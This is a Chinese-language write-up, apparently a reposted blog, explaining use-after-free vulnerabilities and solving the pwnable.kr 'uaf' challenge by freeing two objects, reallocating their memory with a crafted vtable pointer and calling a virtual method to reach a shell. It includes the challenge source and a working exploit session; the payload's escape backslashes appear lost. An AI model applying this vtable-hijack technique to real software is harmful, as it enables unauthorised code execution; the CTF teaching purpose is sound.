Use-After-Free

0x00 UAF利用原理

uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。

0x01 UAF漏洞的利用步骤

(1)先精心构造一个迷途指针

(2)再精心构造数据填充被释放的内存区域

(3)再次使用该指针,改变程序流程

0x02 Pwnable.kr-uaf

源码如下;

 1 #include <fcntl.h>
 2 #include <iostream> 
 3 #include <cstring>
 4 #include <cstdlib>
 5 #include <unistd.h>
 6 using namespace std;
 7 
 8 class Human{
 9 private:
10     virtual void give_shell(){
11         system("/bin/sh");
12     }
13 protected:
14     int age;
15     string name;
16 public:
17     virtual void introduce(){
18         cout << "My name is " << name << endl;
19         cout << "I am " << age << " years old" << endl;
20     }
21 };
22 
23 class Man: public Human{
24 public:
25     Man(string name, int age){
26         this->name = name;
27         this->age = age;
28         }
29         virtual void introduce(){
30         Human::introduce();
31                 cout << "I am a nice guy!" << endl;
32         }
33 };
34 
35 class Woman: public Human{
36 public:
37         Woman(string name, int age){
38                 this->name = name;
39                 this->age = age;
40         }
41         virtual void introduce(){
42                 Human::introduce();
43                 cout << "I am a cute girl!" << endl;
44         }
45 };
46 
47 int main(int argc, char* argv[]){
48     Human* m = new Man("Jack", 25);
49     Human* w = new Woman("Jill", 21);
50 
51     size_t len;
52     char* data;
53     unsigned int op;
54     while(1){
55         cout << "1. use
2. after
3. free
";
56         cin >> op;
57 
58         switch(op){
59             case 1:
60                 m->introduce();
61                 w->introduce();
62                 break;
63             case 2:
64                 len = atoi(argv[1]);
65                 data = new char[len];
66                 read(open(argv[2], O_RDONLY), data, len);
67                 cout << "your data is allocated" << endl;
68                 break;
69             case 3:
70                 delete m;
71                 delete w;
72                 break;
73             default:
74                 break;
75         }
76     }
77 
78     return 0;    
79 }
uaf

 根据分析源码,大致漏洞利用思路:

因为在main函数开始处已经申请了两块内存

    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用

case 3:
                delete m;
                delete w;
                break;

观察到case 2 申请了一块内存,并且对这块内存进行写操作

case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;

在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照

1.IDA pro第二版124面

2.c++类实例在内存中的分配 (转)

此时堆内存分配大致如下图所示:

加上case 1中执行introduce函数

case 1:
                m->introduce();
                w->introduce();
                break;

vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。

通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.

利用脚本如下:

 

uaf@ubuntu:~$ python -c "print 'x68x15x40x00x00x00x00x00'" > /tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag

0x03 参考链接

pwnable.kr之uaf

逆向安全系列:Use After Free漏洞浅析

iOS冰与火之歌 – UAF and Kernel Pwn

原文地址:https://www.cnblogs.com/elvirangel/p/7206761.html